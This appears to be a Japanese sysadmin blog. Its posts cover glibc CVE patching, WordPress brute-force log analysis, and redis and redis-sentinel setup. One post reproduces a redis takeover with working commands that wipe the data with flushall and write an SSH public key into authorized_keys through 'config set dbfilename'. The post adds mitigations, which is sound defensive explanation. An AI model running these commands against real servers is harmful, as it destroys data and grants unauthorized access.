glibcの脆弱性対策(CVE-2015-7547)

概要

2016/2/16 に GNU Cライブラリの「glibc」に深刻な脆弱性が見つかりました

CVE-2015-7547
インパクトは Clitical とのこと

多々利用されていそうな getaddrinfo()関数に、バッファオーバーフローの脆弱性があるとのことなので早々に対処しておいたほうが良さそうです

Qiitaにも掲載しました

確認したOSは以下のとおりです
Distribution glibc Version Up Version
Red Hat 5.x  対応不要
Red Hat 6.x  2.12-1.166.el6_7.7
Red Hat 7.x  2.17-106.el7_2.4
CentOS 5.x  対応不要
CentOS 6.x  2.12-1.166.el6_7.7
CentOS 7.x  2.17-106.el7_2.4
Fedora 22  DNE(未対応)
Fedora 23  DNE(未対応)
Debian 6.x  2.11.3-4+deb6u11
Debian 7.x  2.13-38+deb7u10
Debian 8.x  2.19-18+deb8u3
Ubuntu 12.04 2.15-0ubuntu10.13
Ubuntu 14.04 2.19-0ubuntu6.7
Ubuntu 15.10 DNE(未対応)

glibc のバージョン確認

RedHat6/CentOS6

$ cat /etc/redhat-release
CentOS Linux release 6.0 (Final)
$ rpm -q glibc
glibc-2.12-1.80.el6_3.6.x86_64

Debian/Ubuntu/Vine

$ locate libc.so.6
/lib/x86_64-linux-gnu/libc.so.6
$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library stable release version 2.11.1, by Roland McGrath et al.
:

パッチ適用

RedHat6/CentOS6

$ sudo yum update glibc

Debian/Ubuntu/Vine

$ sudo apt-get update
$ sudo apt-get upgrade libc6

 

以上です

あけました

あけましておめでとうございます。
2016年も開始しましたね。

今年は積極的に前向きに活動していこうかな。と、思っております。

まずは日本式に初詣でも行ってお願いしてこようかな。っと。
角ちゃんとcocoと仲良く暮らしていけますように・・・

WordPressの不正ログイン

本日も約6時間ほど不正ログインの攻撃がありました。
手順は以下のようです。

1)ログインURLを知る
2)ユーザ名を知る
3)複数のパスワードでログインを試みる

1)ログインURLを知る
 WordPressのログイン画面のURLを取得していますね。
 単純に「/wp-login.php」にアクセスし、リダイレクト後のログインURLを取得しています

188.126.80.48 - - [05/Dec/2015:06:21:22 +0900] "GET /wp-login.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"  
188.126.80.48 - - [05/Dec/2015:06:21:23 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 200 3180 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"  

2)ユーザ名を知る
 WordPressのサイトに「/?author=1」という引数でアクセスしてユーザIDを取得します。
 今回は wp_administrator が取得されてしまいました。
 こちらは WordPress の”仕様”なので隠しようがありません。
 なお、WordPressだけのログイン防止であれば、
 「SiteGuard WP Plugin」とか「Jetpack」などのプラグインを導入する方が良いでしょう。

188.126.80.48 - - [05/Dec/2015:06:21:24 +0900] "GET /?author=1 HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"  
188.126.80.48 - - [05/Dec/2015:06:21:24 +0900] "GET /author/wp_administrator/ HTTP/1.1" 200 77935 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"  

3)複数のパスワードでログインを試みる
 取得ユーザID(wp_administrator)で、用意しておいたパスワードでログインを試みます。
 30秒〜1分程度間隔で試行してますね。

188.126.80.48 - - [05/Dec/2015:07:03:52 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 200 3180 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"  
188.126.80.48 - - [05/Dec/2015:07:05:34 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 403 1371 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
188.126.80.48 - - [05/Dec/2015:07:06:16 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 403 1371 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
188.126.80.48 - - [05/Dec/2015:07:08:36 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 403 1371 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"

: この間、400回のログイン試行

188.126.80.48 - - [05/Dec/2015:12:24:41 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 403 1371 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
188.126.80.48 - - [05/Dec/2015:12:29:10 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 403 1371 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"

 
doshelperにより最初のログイン試行以外は、すべてレスポンスコード 403 で弾いてます。

みなさん、他のサイトで試しちゃダメですよ。

doshelper はフリーで公開しているので、どうぞお試しください。
https://github.com/kurosawatsuyoshi/doshelper

redis 冗長化&フェールオーバ環境の構築(redis-sentinel setup)

redis 冗長化&自動フェールオーバ環境の構築
redis を複数インスタンス起動させ、レプリケーション(データ同期)させます
フェールオーバには redis-sentinel を採用し master の異常検知で自動に切り替えます
redis-sentinel は、redis 2.4.16 または 2.6.0-rc6 以降のバージョンから利用できます
こちらの 公式ドキュメント も参考にしてください

 
redis 冗長化環境の概要
今回は、 redis を3インスタンス立ち上げ、
1インスタンスを master(読み書き可)、残りを slave(参照のみ)とするケースにしています。

また死活監視には redis-sentinel を利用し、
master に異常を検知したら slave を master に切り替えます

誤った master 昇格を防ぐ目的に、sentinelも 3インスタンス立ち上げます
(3インスタンス中2インスタンスの異常判定でフェールオーバさせます)

なお、混乱を避けるため先に導入した redis は利用せず、すべて新規インスタンスで構築しています

こんな感じです

redis_port

redis 設定ファイル
1インスタンスごとに設定ファイルが必要です
 初期導入した redis 設定ファイルをコピーして利用します

$ sudo cp -p /etc/redis/redis.conf /etc/redis/redis_1.conf
$ sudo cp -p /etc/redis/redis.conf /etc/redis/redis_2.conf
$ sudo cp -p /etc/redis/redis.conf /etc/redis/redis_3.conf

 インスタンスごとにポート、ログファイル、データファイルなどを変更していきます

 redis_1.conf

pidfile /var/run/redis/redis_1.pid
port 6381
logfile "/var/log/redis/redis_1.log"
dbfilename "dump_redis_1.rdb"

 redis_2.conf

pidfile /var/run/redis/redis_2.pid
port 6382
logfile "/var/log/redis/redis_2.log"
dbfilename "dump_redis_2.rdb"

 redis_3.conf

pidfile /var/run/redis/redis_3.pid
port 6383
logfile "/var/log/redis/redis_3.log"
dbfilename "dump_redis_3.rdb"

 
redis の起動スクリプトの準備
こちらも、先にインストールした redis 起動スクリプトをコピーして利用します
なお各OSで起動スクリプト形式・場所が違うので適宜変更してください

 [CentOS 5/6, Debian6/7, Ubuntu]

$ sudo cp -p /etc/init.d/redis /etc/init.d/redis_1
$ sudo cp -p /etc/init.d/redis /etc/init.d/redis_2
$ sudo cp -p /etc/init.d/redis /etc/init.d/redis_3

 インスタンスごとのポートとプロセスIDファイルを設定します

 init.d/redis_1

REDISPORT=6381
PIDFILE=/var/run/redis/redis_1.pid
CONF="/etc/redis/redis_1.conf"

 init.d/redis_2

REDISPORT=6382
PIDFILE=/var/run/redis/redis_2.pid
CONF="/etc/redis/redis_2.conf"

 init.d/redis_3

REDISPORT=6383
PIDFILE=/var/run/redis/redis_3.pid
CONF="/etc/redis/redis_3.conf"

 Debian/Ubuntu 系の場合は、各インスタンスに合わせ Provides で名前も変更してください

# Provides: redis_N

 [CentOS 7]
 自動起動方式が CentOS 7 以降、変更されています

$ sudo cp -p /usr/lib/systemd/system/redis.service /usr/lib/systemd/system/redis_1.service
$ sudo cp -p /usr/lib/systemd/system/redis.service /usr/lib/systemd/system/redis_2.service
$ sudo cp -p /usr/lib/systemd/system/redis.service /usr/lib/systemd/system/redis_3.service

 redis_1.service

ExecStart=/usr/bin/redis-server /etc/redis/redis_1.conf --daemonize no

 redis_2.service

ExecStart=/usr/bin/redis-server /etc/redis/redis_2.conf --daemonize no

 redis_3.service

ExecStart=/usr/bin/redis-server /etc/redis/redis_3.conf --daemonize no

 
redis の自動起動(サービス)登録と起動確認
redis をサービスとして登録し、起動を確認します

 [CentOS 5/6, Debian6/7, Ubuntu]

$ sudo chkconfig redis_1 on
$ sudo chkconfig redis_2 on
$ sudo chkconfig redis_3 on

$ sudo /etc/init.d/redis_1 start
$ sudo /etc/init.d/redis_2 start
$ sudo /etc/init.d/redis_3 start

 [CentOS 7]

$ sudo systemctl enable redis_1.service
$ sudo systemctl enable redis_2.service
$ sudo systemctl enable redis_3.service

$ sudo systemctl start redis_1.service
$ sudo systemctl start redis_2.service
$ sudo systemctl start redis_3.service

 CentOS 7で、以下メッセージが表示された場合はクリーンを実行してください
 Warning: Unit file of redis_1.service changed on disk, 'systemctl daemon-reload' recommended.

$ sudo systemctl daemon-reload

 
redis の実行プロセスが表示されることを確認します

 インストールしたパス(/usr/bin, /usr/sbin もしくは /usr/local/bin)で起動されてます

$ ps -ef | grep redis
root 1593 1 0 15:50 ? 00:00:08 /usr/bin/redis-server 127.0.0.1:6381
root 1594 1 0 15:50 ? 00:00:08 /usr/bin/redis-server 127.0.0.1:6382
root 1595 1 0 15:50 ? 00:00:08 /usr/bin/redis-server 127.0.0.1:6383

 ログファイルが作成されていることを確認します

$ ls -l /var/log/redis/
-rw-r--r-- 1 redis redis 36860 11月 18 08:17 2015 redis.log
-rw-r--r-- 1 root root 36860 11月 19 13:07 2015 redis_1.log
-rw-r--r-- 1 root root 20085 11月 19 13:07 2015 redis_2.log
-rw-r--r-- 1 root root 23153 11月 19 13:07 2015 redis_3.log

 プロセスファイル/ダンプファイルが作成されていることを確認します

$ ls -l /var/run/redis/
-rw-r--r-- 1 root root 18 11月 18 08:17 2015 dump_redis.rdb
-rw-r--r-- 1 root root 18 11月 19 21:15 2015 dump_redis_1.rdb
-rw-r--r-- 1 root root 18 11月 19 21:15 2015 dump_redis_2.rdb
-rw-r--r-- 1 root root 18 11月 19 21:15 2015 dump_redis_3.rdb
-rw-r--r-- 1 root root 5 11月 18 08:17 2015 redis.pid
-rw-r--r-- 1 root root 5 11月 19 21:15 2015 redis_1.pid
-rw-r--r-- 1 root root 5 11月 19 21:15 2015 redis_2.pid
-rw-r--r-- 1 root root 5 11月 19 21:15 2015 redis_3.pid

すべての redis インスタンスに接続できることを確認します
この時点では、すべてのインスタンスが master で起動されています

 redis_1の確認

$ redis-cli -p 6381 info | egrep 'role|port'
tcp_port:6381
role:master

 redis_2の確認

$ redis-cli -p 6382 info | egrep 'role|port'
tcp_port:6382
role:master

 redis_3の確認

$ redis-cli -p 6383 info | egrep 'role|port'
tcp_port:6383
role:master

 
redis 冗長化の確認
2インスタンスを slave モードに切り替えて、redis が冗長化されるか確認します

 6382/6383ポートの redis を slave に切り替えます

$ redis-cli -p 6382 slaveof 127.0.0.1 6381
$ redis-cli -p 6383 slaveof 127.0.0.1 6381

 正しく slave に切り替えられたか確認します
 6381 が role:master、その他が role:slave でレスポンスされていることを確認します

$ redis-cli -p 6381 info | grep role
role:master
$ redis-cli -p 6382 info | grep role
role:slave
$ redis-cli -p 6383 info | grep role
role:slave

 master に値をセットし、slave 側へ反映されることを確認します

$ redis-cli -p 6381 set hoge on
OK
$ redis-cli -p 6382 get hoge
"on"
$ redis-cli -p 6383 get hoge
"on"

$ redis-cli -p 6381 del hoge
(integer) 1
$ redis-cli -p 6382 get hoge
(nil)
$ redis-cli -p 6383 get hoge
(nil)

 
 
フェールオーバ環境の構築
さて、ここからが自動フェールオーバーの構築になります
redis-sentinel を利用して redis のフェールオーバ設定をおこないます

redis-sentinel のインストール
redis をパッケージ導入した場合は、
redis-sentinel も一緒にインストールされるため次の章に進んで構いません

 ソースから導入した場合は、
 以下のように redis-2.8.*/src 配下の redis-sentinel (バイナリファイル)をコピーします

$ sudo cp -p ./redis-2.8.*/src/redis-sentinel /usr/local/bin/

 
redis-sentinel の設定ファイル
こちらも、各インスタンスごとに設定ファイルが必要です
既存の redis-sentinel 設定ファイルをコピーし、各インスタンス用に起動ポートなどを変更します

 [ソースインストール]
 展開したソース配下にある既存の設定ファイルをコピーして利用します

$ sudo cp -p ./redis-2.8.*/sentinel.conf /etc/redis/sentinel_1.conf

 [パッケージインストール]
 インストールされた既存の設定ファイルを探してコピーします

$ locate sentinel.conf
/etc/redis/sentinel.conf
$ sudo cp -p /etc/redis/sentinel.conf /etc/redis/sentinel_1.conf

 
起動ポートとフェールオーバの設定をおこないます
以下例は、5秒間 master が応答がなければ slave を master に昇格させる設定となります
また、(別筐体のサーバで)分散稼働させる場合は IPアドレス/ポート を適切な値に置き換えることが必要です

$ sudo vi /etc/redis/sentinel_1.conf
daemonize yes
port 26381
sentinel monitor mymaster 127.0.0.1 6381 2
sentinel down-after-milliseconds mymaster 5000

 上記の ”sentinel monitor mymaster 127.0.0.1 6381 2” の最後尾に記述している
 ”2″ の値が、3インスタンス中の2インスタンス(=多数決)で判定する閾値となります

 もし sentinel を5インスタンス稼働させ、うち3インスタンスで判定する場合は “3” と設定します

 
 作成した設定ファイルをコピーします

$ sudo cp -p /etc/redis/sentinel_1.conf /etc/redis/sentinel_2.conf
$ sudo cp -p /etc/redis/sentinel_1.conf /etc/redis/sentinel_3.conf

 2インスタンス用にポートを変更します

$ sudo vi /etc/redis/sentinel_2.conf
port 26382

 3インスタンス用にポートを変更します

$ sudo vi /etc/redis/sentinel_3.conf
port 26383

redis-sentinel は稼働中、redis 設定ファイルに書き込みをおこないます
所有オーナーと書き込み権限を変更しておきます

$ sudo chmod 644 /etc/redis/sentinel_1.conf
$ sudo chmod 644 /etc/redis/sentinel_2.conf
$ sudo chmod 644 /etc/redis/sentinel_3.conf
$ sudo chown redis:redis /etc/redis/sentinel_1.conf
$ sudo chown redis:redis /etc/redis/sentinel_2.conf
$ sudo chown redis:redis /etc/redis/sentinel_3.conf

 
redis-sentinel の起動スクリプトの準備
自動起動用のスクリプトファイルを用意します

 [CentOS 5/6, Debian6/7, Ubuntu]

$ sudo cp -p /etc/init.d/redis-server-1 /etc/init.d/redis-sentinel-1

 [CentOS 7]

$ sudo cp -p /usr/lib/systemd/system/redis-sentinel.service /usr/lib/systemd/system/redis-sentinel-1.service

 各OSに対応する起動ファイルの設定をおこないます

 [CentOS 5/6]
 init.d/redis-sentinel-1

# chkconfig: 345 85 15
# description: sentinel-1
# processname: sentinel-1
# pidfile: /var/run/redis/sentinel-1.pid
# config: /etc/redis/sentinel-1.conf
name="sentinel-1"
pidfile="/var/run/redis/sentinel-1.pid"
REDIS_CONFIG="/etc/redis/sentinel-1.conf"
[ -e /etc/sysconfig/redis-sentinel ] && . /etc/sysconfig/redis-sentinel

 [CentOS 7]
 redis-sentinel-1.service

ExecStart=/usr/bin/redis-sentinel /etc/redis/sentinel-1.conf --daemonize no
ExecStop=/usr/bin/redis-shutdown sentinel-1

 [Debian6/7, Ubuntu]
 init.d/redis-sentinel-1

### BEGIN INIT INFO
# Provides: redis-sentinel-1
# Required-Start: $syslog $remote_fs bootlogs
# Required-Stop: $syslog $remote_fs
# Should-Start: $local_fs
# Should-Stop: $local_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Description: Redis Sentinel is a KVS server.
# Short-Description: sentinel-1
### END INIT INFO
DAEMON=/usr/local/bin/redis-sentinel
DAEMON_ARGS=/etc/redis/sentinel-1.conf
NAME=sentinel-1
DESC=sentinel-1
PIDFILE=$RUNDIR/redis-sentinel-1.pid

 
redis-sentinel の起動確認
起動スクリプトで redis-sentinel−1 を起動します

 [CentOS 5/6, Debian6/7, Ubuntu]

$ sudo /etc/init.d/redis-sentinel-1 start

 [CentOS 7]

$ sudo systemctl start redis-sentinel-1.service

 起動を確認します

$ ps -ef | grep redis-sentinel
redis 1679 1 0 19:38 ? 00:00:18 /usr/bin/redis-sentinel *:26381

 起動確認できたら起動ファイルをコピーし、残りのインスタンス分を用意します

 [CentOS 5/6, Debian6/7, Ubuntu]

$ sudo cp -p /etc/init.d/redis-sentinel-1 /etc/init.d/redis-sentinel-2
$ sudo cp -p /etc/init.d/redis-sentinel-1 /etc/init.d/redis-sentinel-3

 [CentOS 7]

$ sudo cp -p /usr/lib/systemd/system/redis-sentinel-1.service /usr/lib/systemd/system/redis-sentinel-2.service
$ sudo cp -p /usr/lib/systemd/system/redis-sentinel-1.service /usr/lib/systemd/system/redis-sentinel-3.service

 各インスタンス用に起動ファイルを変更します
 sentinel-1 と記載されている箇所を、すべて sentinel-2(またはsentinel-3)に変更します

 [CentOS 5/6, Debian6/7, Ubuntu]

$ sudo vi /etc/init.d/redis-sentinel-2
:%s/sentinel_1/sentinel_2/g
$ sudo vi /etc/init.d/redis-sentinel-3
:%s/sentinel_1/sentinel_3/g

 [CentOS 7]

$ sudo vi /usr/lib/systemd/system/redis-sentinel-2.service
:%s/sentinel_1/sentinel_2/g
$ sudo vi /usr/lib/systemd/system/redis-sentinel-3.service
:%s/sentinel_1/sentinel_3/g

 起動スクリプトで redis-sentinel-2/3 を起動します

 [CentOS 5/6, Debian6/7, Ubuntu]

$ sudo /etc/init.d/redis-sentinel-2 start
$ sudo /etc/init.d/redis-sentinel-3 start

 [CentOS 7]

$ sudo systemctl start redis-sentinel-2.service
$ sudo systemctl start redis-sentinel-3.service

 起動を確認します

$ ps -ef | grep redis-sentinel
redis 1679 1 0 19:38 ? 00:00:18 /usr/bin/redis-sentinel *:26381
redis 1694 1 0 19:38 ? 00:00:18 /usr/bin/redis-sentinel *:26382
redis 1708 1 0 19:38 ? 00:00:17 /usr/bin/redis-sentinel *:26383

 
redis-sentinel の動作確認
master を終了させ、自動で slave が master に昇格されることを確認します

現在のステータスを確認します
ポート6381が master 、その他が slave となっています

$ redis-cli -p 6381 info | grep role
role:master
$ redis-cli -p 6382 info | grep role
role:slave
$ redis-cli -p 6383 info | grep role
role:slave

 master を終了させ、5秒後に slave が master に昇格されることを確認します

$ redis-cli -p 6381 shutdown

 5秒ほど待ってから

$ redis-cli -p 6381 info | grep role
Could not connect to Redis at 127.0.0.1:6381: Connection refused
$ redis-cli -p 6382 info | grep role
role:master
$ redis-cli -p 6383 info | grep role
role:slave

 ポート6381を再度起動させ slave で起動されることを確認します

$ sudo /etc/init.d/redis-server-1 start

 5秒以上経過してから

$ redis-cli -p 6381 info | grep role
role:slave
$ redis-cli -p 6382 info | grep role
role:master
$ redis-cli -p 6383 info | grep role
role:slave

 
redis-sentinel の自動起動設定
サーバの再起動でも自動でサービス起動、停止するようにします

 [CentOS 5/6]

$ sudo chkconfig redis-sentinel-1 on
$ sudo chkconfig redis-sentinel-2 on
$ sudo chkconfig redis-sentinel-3 on
$ chkconfig --list | grep redis

 [CentOS 7]

$ sudo systemctl enable redis-sentinel-1.service
$ sudo systemctl enable redis-sentinel-2.service
$ sudo systemctl enable redis-sentinel-3.service
$ sudo systemctl list-unit-files | grep redis

 [Debian6/7, Ubuntu]

$ sudo sysv-rc-conf redis-sentinel-1 on
$ sudo sysv-rc-conf redis-sentinel-2 on
$ sudo sysv-rc-conf redis-sentinel-3 on
$ sysv-rc-conf --list | grep redis

 
redis/redus-sentinel の自動起動確認
 サーバを再起動させ、redis 及び redis-sentinel が自動起動されることを確認します

$ sudo shutdown -r now

 サーバ再起動後、

$ ps -ef | grep redis
redis 1593 1 0 18:08 ? 00:00:24 /usr/bin/redis-server 127.0.0.1:6381
redis 1594 1 0 18:08 ? 00:00:24 /usr/bin/redis-server 127.0.0.1:6382
redis 1595 1 0 18:08 ? 00:00:24 /usr/bin/redis-server 127.0.0.1:6383
redis 1601 1 0 18:08 ? 00:00:38 /usr/bin/redis-sentinel *:26381
redis 1602 1 0 18:08 ? 00:00:38 /usr/bin/redis-sentinel *:26382
redis 1604 1 0 18:08 ? 00:00:42 /usr/bin/redis-sentinel *:26383

再起動されていることを確認で終了です

crack@redis.io #2

先日、redis ハックされた件を検証してみました。

どうやら “config set dbfilename” 機能を悪用することで、外部から任意の文字列を redis 起動ユーザの権限でファイル作成できてしまう(sshの公開鍵を配置できる)脆弱性のようです。

実際に試行してみたら、以下手順で ssh の公開鍵が配置できました。

・別サーバで秘密鍵と公開鍵を作成しておく
・乗っ取りたい redisサーバ に外部から接続する
・既に格納されているキーとバリューをいったん全消去(クリア)する
・適当なキーで ssh 公開鍵をセットする
・データ格納ファイルの書き出し場所を、SSH公開鍵を配置したい場所に変更する
・データ書き出しを命令する(バリューが出力され、ssh公開鍵となる)
・redis を shutdown する(気づいた運用者の redis 再起動で dbfilename は元に戻る)

コマンドで言えば、こんな感じ。

$ ssh-keygen -t rsa -C "crack@redis.io"
$ redis-cli -h [ホスト名] flushall
$ cat [公開鍵.txt] | redis-cli -h [ホスト名] -x set [キー名]
$ redis-cli -h [ホスト名]
6379> config set dbfilename "~/.ssh/authorized_keys"
6379> save
6379> shutdown
6379> exit

すると、redis 起動ユーザのホームディレクトリの .ssh 配下に、公開鍵が配置されます。

$ ls -l
-rw-r--r--    1 root root   433 11月 22 23:39 2015 authorized_keys

$ cat ~/.ssh/authorized_keys
REDIS0006�crackitA�
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ crack@redis.io
���rD	�

ああ、恐ろしい。

ただ、、この脅威は、redisがインターネットに公開されていなければ操作できないので問題になりません。
(redis.conf の bind 設定でローカルIPに制限している もしくは、iptables でポート解放していない)

もし私のように設定を忘れて公開となっており、crackit のキーがセットされたらどうするか?

まずは redisサーバプロセスを起動させているユーザを確認します。
redis ユーザならば、redis ユーザが外部からsshログインできなければ問題ありません。

$ sudo cat /etc/passwd | grep redis
redis:x:501:501::/home/redis:/sbin/nologin

外部からログイン可能にしていた場合はどうするか?
redis 起動ユーザのホームディレクトリ配下にある .ssh/authorized_keys のキーを一刻も早く削除してください。

もし root で起動していたら、パス名さえあってれば配置できてしまうため sshアカウントの公開鍵を総点検した方が良いです。

間違っていたら、コメントくださいませ。

Redisのセットアップ

CentOS/Fedora/Debian/Ubuntu の各Linuxに、redisを導入する方法をまとめました。
Github – Redisのセットアップ

以降、redisのセットアップについて記載します

 

redis のインストール

redis のホームページからソースをダウンロードします
落とすバージョンにあわせて適宜ファイル名を変更してください

$ wget http://download.redis.io/releases/redis-2.8.2.tar.gz
$ tar xzf redis-2.8.*.tar.gz
$ cd redis-2.8.*
$ make
$ sudo make install

デフォルトは /usr/local/bin/ に導入されます
インストール先を変更する場合は、redis-2.8.*/src 配下の Makefile を手動で変更します

PREFIX?=インストール先ディレクトリ名

 

redis ユーザとグループの作成

redis インスタンスを起動するユーザとグループを作成します
ユーザはログインの必要性はないので、nologin を指定します

$ sudo groupadd redis
$ sudo useradd -s /sbin/nologin -M -g redis redis

redis のログ出力ディレクトリ作成

ログ出力先を作成して redis ユーザに書き込み権限を付与します

$ sudo mkdir /var/log/redis
$ sudo chmod 755 /var/log/redis
$ sudo chown redis:redis /var/log/redis

 

redis 設定ファイルの作成

新たに設定ファイル格納ディレクトリを作成し、既に用意されている設定ファイルをコピーして利用します。のちに冗長化(複数インスタンス)するので、混乱を避けるため起動するポート名で設定ファイルを作成します

$ sudo mkdir /etc/redis
$ sudo chown redis.redis /etc/redis

$ sudo cp -p ./redis-2.8.*/redis.conf /etc/redis/6379.conf
$ sudo vi /etc/redis/6379.conf

 

デーモン起動の指定と、ログの出力場所を設定します
bind はIPアドレスをセットすることで、接続するサーバを制限することが可能ですが、最初はセキュリティを確保するためにも、127.0.0.1(ローカルのみ)とし、接続制限をかけておきます
また接続時のパスワードもあわせて指定しておきましょう
※ 接続サーバを制限は、冗長化構築時に iptables または bind で再度見直しをかけます

daemonize yes
bind 127.0.0.1
requirepass hoge   ★ パスワードです 適当に変更してください
pidfile /var/run/redis_6379.pid
logfile “/var/log/redis/6379.log”

 

redis の起動確認

redis ユーザで redis サーバを起動させます
インストールしたパスにある redis-server を、設定ファイルを引数に起動します
なお正常に起動されているか、ログファイルや ps コマンドで確認して下さい

$ sudo -u redis sh -c “/usr/local/bin/redis-server /etc/redis/6379.conf”
$ ps -e | grep redis
3706 ? 00:00:00 redis-server  ★ 出力されることを確認します

ログファイルに起動処理結果が出力されています

$ tail -30 /var/log/redis/6379.log
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 2.8.2 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                   
 (    '      ,       .-`  | `,    )     Running in stand alone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 3048
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           http://redis.io        
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

[3048] 15 Nov 17:16:30.446 # Server started, Redis version 2.8.2
[3048] 15 Nov 17:16:30.446 * DB loaded from disk: 0.000 seconds
[3048] 15 Nov 17:16:30.446 * The server is now ready to accept connections on port 6379
$

 

redis にローカルから接続します

パスワード入力後、PING コマンドで PONG が返却されることを確認します

$ /usr/local/bin/redis-cli -p 6379

127.0.0.1:6379> auth hoge

OK
127.0.0.1:6379> ping
PONG

 

redis サーバを終了させます

PING コマンドで返却されないこと、ps コマンドで出力されないことを確認します

127.0.0.1:6379> shutdown
not connected> ping
Could not connect to Redis at 127.0.0.1:6379: Connection refused
not connected> exit
$ ps -e | grep redis

 

自動起動スクリプト

用意された自動起動スクリプトをコピーして、サーバの再起動でも自動的に起動するようにします
※インストールだけでは自動起動しません

$ sudo cp -p ./redis-2.8.*/utils/redis_init_script /etc/init.d/redis
$ sudo vi /etc/init.d/redis

設定方法はOS環境にあわせ適宜変更してください

[CentOS5/6,Fedora]

# chkconfig: 345 70 15

[Debian/Ubuntu]

### BEGIN INIT INFO
# Provides: redis6379
# Required-Start: $syslog $remote_fs bootlogs
# Required-Stop: $syslog $remote_fs
# Should-Start: $local_fs
# Should-Stop: $local_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO

スクリプトで起動できることを確認します

$ sudo /etc/init.d/redis start
$ ps -e | grep redis
$ /usr/local/bin/redis-cli -p 6379
127.0.0.1:6379> auth hoge
OK
127.0.0.1:6379> ping
PONG
127.0.0.1:6379> exit

スクリプトで終了できることを確認します

$ sudo /etc/init.d/redis stop
Stopping …
Redis stopped
$ ps -e | grep redis
$ /usr/local/bin/redis-cli -p 6379
Could not connect to Redis at 127.0.0.1:6379: Connection refused

 

redis の自動起動登録

各OSの自動起動プログラムを利用してください

[CentOS5/6,Fedora]

$ sudo chkconfig redis on
$ chkconfig –list | grep redis
redis 0:off 1:off 2:on 3:on 4:on 5:on 6:off

[Debian/Ubuntu]

$ sudo update-rc.d redis defaults 20
$ sudo sysv-rc-conf –list redis
redis 0:off 1:off 2:on 3:on 4:on 5:on 6:off

 

メモリオーバーコミットの設定

Linux では実メモリーとスワップ領域が足りなくなると、メモリ確保プロセスを強制終了させる仕様があります(OOMKiller)

0:空き容量がなければ実行中のプロセスを強制終了(デフォルト)
1:ギリギリまで頑張り、メモリ確保できなければ実行中のプロセスを強制終了
2:空き容量がない場合はエラーを発生させる

redis はデータ永続化(AOF ログ保存)の際、格納データの2倍のメモリを要求します
もしメモリの確保(allocate)に失敗した場合、エラーが発生し、OOMKiller のデフォルト設定ではプロセスを強制終了します
よってメモリ確保エラーに起因した apache のプロセス終了を防止するための設定をしておきます

$ sudo vi /etc/sysctl.conf
$ vm.overcommit_memory = 2

 

Appendix
パッケージで導入する場合

redis をソースからではなく、パッケージでインストールする方法を記載します
冗長化構成(redis-sentinel)を導入する場合は、2.4.16 または 2.6.0-rc6 以降のバージョンが必要です
なおパッケージ版は導入するディレクトリがバラバラです

配置先例)
redis本体    :/usr/bin/redis-server
redis-sentinel :/usr/bin/redis-sentinel
redis設定ファイル:/etc/redis/redis.conf
redisクライアント:/usr/bin/redis-cli

設定ファイルなどのパスが変わるので、各ファイルの配置先を確認しておく必要があります

$ sudo updatedb
$ locate redis-server
$ locate redis-sentinel
$ locate redis.conf
$ locate redis-cli

[CentOS 5/6]
CentOS 5/6 の標準リポジトリに redis は存在しません(2015/11/15時点)
remi リポジトリが必要です。導入方法はこちら

